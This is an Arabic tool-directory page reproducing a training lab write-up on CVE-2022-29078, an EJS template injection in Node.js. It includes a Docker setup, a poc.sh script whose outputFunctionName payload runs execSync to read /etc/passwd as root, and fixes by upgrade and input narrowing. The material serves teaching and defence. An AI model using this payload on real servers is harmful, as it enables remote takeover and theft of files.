Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-29078 | Kitploit
أدوات/GitHubGitHub/taka3636/cve-2022-29078
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubtaka3636/cve-2022-29078

CVE-2022-29078

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-29078 | EJS SSTI → RCE

مدرسة القبعة البيضاء - الدفعة الرابعة (الفصل 32) - وو سانغ-بوم (@taka3636)


الملخص

تتيح ثغرة حقن القوالب من جانب الخادم (SSTI) في EJS < 3.1.7> (CVE-2022-29078) تنفيذ أوامر عشوائية على الخادم عن بُعد (RCE) دون مصادقة. يُنشئ هذا المستند بيئة قابلة للاستغلال عبر Docker، ويعيد إنتاج RCE باستخدام PoC، ثم يتحقق من إجراءين للمعالجة (ترقية المكتبة · تمرير الإدخال بشكل آمن).


مقدمة عن EJS

EJS (Embedded JavaScript templates) هو محرك قوالب يُستخدم على نطاق واسع في النظام البيئي لـ Node.js. يُنشئ صفحات ديناميكية عبر تضمين جافاسكربت داخل HTML باستخدام وسوم <% %> مثل <h1>Hello <%= id %></h1>. داخليًا، يجمّع EJS سلسلة القالب إلى دالة جافاسكربت ثم ينفّذها لإنتاج HTML النهائي. أي أنه مولّد كود يحوّل "النص (القالب) إلى كود قابل للتنفيذ (دالة)"، وهذه الخاصية هي الخلفية الجذرية لهذه الثغرة.


مقدمة عن CVE-2022-29078

يُدرج EJS < 3.1.7> قيمة خيار العرض outputFunctionName في مصدر الدالة المُجمَّعة دون أي تحقق. إذا مرّر التطبيق مدخلات المستخدم كما هي كخيارات عرض، يمكن للمهاجم تلويث هذا الخيار وتنفيذ كود عشوائي (RCE) على الخادم. ونظرًا لإمكانية السيطرة الكاملة على الخادم عن بُعد دون مصادقة، فإن درجة الخطورة عالية جدًا.

  • الإصدارات المتأثرة: EJS < 3.1.7>
  • النوع: حقن القوالب من جانب الخادم (SSTI) → تنفيذ كود عن بُعد
  • المرجع: NVD CVE-2022-29078

إعداد البيئة

root@kitploit:~
EJS/CVE-2022-29078/
├── docker-compose.yml     # ربط بـ 127.0.0.1 (عزل)
├── Dockerfile             # node:18.20.4 (تثبيت الإصدار)
├── app/
│   ├── server.js          # تطبيق Express القابل للاستغلال
│   ├── package.json       # تثبيت ejs 3.1.6 بدقة
│   └── views/page.ejs
├── poc.sh                 # سكربت تشغيل PoC
└── 1.png ~ 8.png          # لقطات شاشة
  • بيئة التشغيل: Node.js 18.20.4 مثبّت
  • المكتبة القابلة للاستغلال: ejs 3.1.6 (تثبيت دقيق دون رموز نطاق — عند استخدام ^ أو ~ سيُثبَّت إصدار مُصحَّح وتتعذّر إعادة الإنتاج)
  • إطار الويب: express 4.18.2
  • يكتمل الإعداد بأمر واحد docker compose up -d --build دون الاعتماد على أي صور مخصصة خارجية.


شروط الاستغلال

يتحقق الهجوم عندما يتوفر الشرطان التاليان في الوقت نفسه.

  1. خلل في المكتبة: يُدرج ejs < 3.1.7> القيمة outputFunctionName في الكود دون تحقق
  2. استخدام غير آمن: يمرّر التطبيق مدخلات المستخدم بالكامل كخيارات عرض
root@kitploit:~
// app/server.js — نقطة الضعف
app.get('/page', (req, res) => {
  res.render('page', req.query);   // يمرّر req.query بالكامل كخيارات عرض
});

في res.render('page', req.query)، يمرّر Express مدخلات المستخدم (req.query) إلى EJS بالكامل كخيارات عرض. عندها يحلّل محلل qs صيغة الأقواس المعقوفة مثل settings[view options][outputFunctionName] ليكوّن كائنًا متداخلًا، وتُدمج قيمته في خيار الترجمة outputFunctionName الخاص بـ EJS. أي أن الكود (الدالة) الذي يزرعه المستخدم في موضع الخيار يُرفق بالخيار ويُمرَّر معه إلى EJS معًا. يُدرج EJS هذه القيمة أمام الدالة المُجمَّعة كما يلي:

root@kitploit:~
var <outputFunctionName값> = __append;

بقيمة طبيعية يكون غير ضار مثل var myOut = __append;، لكن إذا كانت القيمة تحتوي على فاصلة منقوطة تقطع الجملة ثم كودًا، فسيُنفَّذ هذا الكود كما هو عند تشغيل الدالة المُجمَّعة. ويمكن وضع execSync(...) في هذا الموضع لقراءة ملف معيّن أو تنفيذ أوامر النظام.


خطوات إعادة الإنتاج

المتطلبات: تثبيت Docker و Docker Compose، واتصال بالإنترنت أثناء البناء.

root@kitploit:~
# 1) استنساخ المستودع والانتقال إلى المجلد
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078

# 2) البناء والتشغيل
docker compose up -d --build
docker compose ps

# 3) التحقق من التشغيل الطبيعي
curl "http://127.0.0.1:3000/page?id=world"     # -> <h1>Hello world</h1>

# 4) تشغيل PoC
bash poc.sh

# 5) التنظيف
docker compose down


كود PoC

poc.sh — تنفيذ ثلاثة أوامر على الخادم عبر حقن خيار outputFunctionName وجمع النتائج: [1] id (من ينفّذ الأوامر)، [2] /etc/passwd (قراءة ملف عشوائي)، [3] uname (مكان التنفيذ).

root@kitploit:~
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (حقن خيار outputFunctionName) -> RCE
set -e
TARGET="http://127.0.0.1:3000"

run() {   # $1 = أمر شل بترميز URL (يُنفَّذ داخل الحاوية ثم يُجمع الناتج)
  curl -g -s -o /dev/null \
    "${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
  docker compose exec -T vuln-ejs cat /tmp/out
}

echo "[1] التحقق من صلاحيات التنفيذ (id) — هل هو root"
run "id%20%3E%20/tmp/out"
echo "[2] قراءة ملف عشوائي — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] كشف معلومات النظام — uname"
run "uname%20-a%20%3E%20/tmp/out"
  • curl -g: ضروري لمنع تفسير الأقواس المعقوفة في عنوان URL كـ glob (بدونه تظهر curl: (3) bad range)
  • الترميز: المسافة %20، وإعادة التوجيه > %3E

نتائج التنفيذ

نتيجة تشغيل poc.sh. الطلب العادي (id=world) يُرجع Hello world فقط، بينما تُنفَّذ الأوامر المحقونة عبر حقن outputFunctionName على الخادم ويُجمع ناتجها.

  • [1] id → uid=0(root) gid=0(root): الأوامر المحقونة تُنفَّذ بصلاحيات root.
  • [2] /etc/passwd → يُرجَع محتوى ملف حسابات النظام كما هو: يمكن قراءة أي ملف على الخادم (انتهاك السرية).
  • [3] uname → اسم المضيف 326f6f1b04b3 (معرّف الحاوية) يختلف عن اسم مضيف الجهاز الافتراضي (ubuntu-QEMU-Virtual-Machine): يثبت أن الأوامر نُفِّذت داخل الحاوية وليس على المضيف. أي أن صلاحيات root لا تنبع من sudo بل من عملية الخادم القابلة للاستغلال (node داخل الحاوية = root افتراضيًا).

بطلب واحد عن بُعد دون مصادقة يمكن تنفيذ أوامر بصلاحيات root + قراءة ملفات عشوائية = CVE-2022-29078.


إجراءات المعالجة

الإجراء 1 — ترقية المكتبة (معالجة جذرية)

ارفع إصدار ejs في package.json إلى 3.1.7 أو أحدث. يتحقق الإصدار 3.1.7+ من outputFunctionName باستخدام النمط /^[a-zA-Z_$][0-9a-zA-Z_$]*$/ ويرفض الأحرف غير الصالحة كمعرّفات مثل الفاصلة المنقوطة، لذلك يُحجب الهجوم نفسه قبل تنفيذ الكود.

root@kitploit:~
Error: outputFunctionName is not a valid JS identifier.

الإجراء 2 — تمرير الإدخال بشكل آمن (دفاع على مستوى التطبيق)

حتى مع الإصدار القابل للاستغلال (3.1.6)، إذا لم تُمرَّر مدخلات المستخدم بالكامل واكتُفي بتمرير القيم المطلوبة فقط، يختفي مسار الدمج settings[view options] ويصبح تلويث الخيارات مستحيلًا، مع بقاء الوظائف الطبيعية كما هي.

root@kitploit:~
// قبل التعديل (قابل للاستغلال)
res.render('page', req.query);
// بعد التعديل (آمن)
res.render('page', { id: req.query.id });

توصية: طبّق كليهما — تحديث المكتبة (المعالجة الجذرية) وتقليل تمرير مدخلات المستخدم (الدفاع المتعمق). إضافةً إلى ذلك، يمكن تشغيل الحاوية بمستخدم غير root لتقليل نطاق الضرر عند حدوث RCE.


المراجع

  • NVD - CVE-2022-29078
  • EJS GitHub - mde/ejs
تنزيل الأداة